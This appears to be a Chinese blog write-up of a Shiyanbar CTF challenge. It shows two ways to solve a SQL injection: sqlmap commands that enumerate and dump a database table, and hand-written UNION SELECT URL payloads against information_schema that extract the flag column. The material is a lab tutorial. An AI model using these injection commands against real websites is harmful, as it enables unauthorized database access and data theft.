这个看起来有点简单!-实验吧

这道题一开始点进去让人感觉有点蒙圈,不知道要考什么,后来才发现只是道简单的sql注入.........这里写两种做法。

sqlmap去跑

先去看一下有什么数据库

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs

有个my_db的数据库,再去扫一下有什么表

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

看列名

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

 

看值

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

这样就能拿到flag了

---------------------------我是美丽的分割线

直接用url进行注入

寻找注入点

http://ctf5.shiyanbar.com/8/index.php?id=1'        报错http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1        无报错

http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2        无报错

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2        有回显

通过上面四个尝试就可以知道注入点在哪里了,后台应该是接收整数进行sql查询,所以直接id=1后面就能进行注入了

首先先显示数据库有哪些

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

猜测那个my_db就是要找的数据库,然后再看数据表

 

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables

看到my_db里面有一张thiskey的表,继续看一下里面的列

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns

然后读取k0y的值

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

flag get√

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值